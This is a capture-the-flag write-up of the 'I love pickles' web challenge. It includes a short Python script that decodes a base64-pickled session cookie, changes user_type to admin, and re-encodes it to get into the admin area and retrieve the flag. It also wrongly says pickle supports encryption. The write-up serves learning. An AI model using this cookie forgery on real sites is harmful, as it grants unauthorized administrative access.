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Challenges

I love pickles

Challenge Description: My Sardinian friend says she hates “su cugumere cunfettau”, but I love them, on top of my burger and in my code.

If you really know your pickles you can enter in my admin area.

Website: http://ilovepickles.challs.srdnlen.it

Approach

As the name of the challenge suggests, the application should use the pickle library to encode and decode the cookies (I found out about this library while I was playing the sekaiCTF, but I didn’t solve the challenge there). It uses method loads to decode a cookie string and dumps to encode it back. The cookie is also base64 encoded.

Steps

1. The first thing to do is to extract the cookie used by the website

   

2. I created a python script (see the complete code at the end) to decode the cookie. I noticed that an object called User is used, since the script complained about a class 'User'
3. After that, I tried to find out the attributes of the object. I used the VSCode python debugger to navigate the object (printing the object only showed the pointer details)

   

4. Finally, I changed the value of user_type to admin and encoded the final object
5. I substituted the cookie with the crafted one, refreshed the page, and obtained the flag (/flag endpoint)

import pickle
from base64 import b64decode, b64encode

class User:
    pass

cookie = "gASVNAAAAAAAAACMCF9fbWFpbl9flIwEVXNlcpSTlCmBlH2UjAl1c2VyX3R5cGWUjAlBbm9ueW1vdXOUc2Iu"
user = pickle.loads(b64decode(cookie))
user.user_type = 'admin'
print(b64encode(pickle.dumps(user)))

Reflection

The challenge was easy, but you need to understand a bit how pickle library works. It also supports encryption, which needs a secret key, so keep in mind that if you cannot decode the cookie properly.

Credits

This template was based on RyanNgCT/CTF-Writeup-Template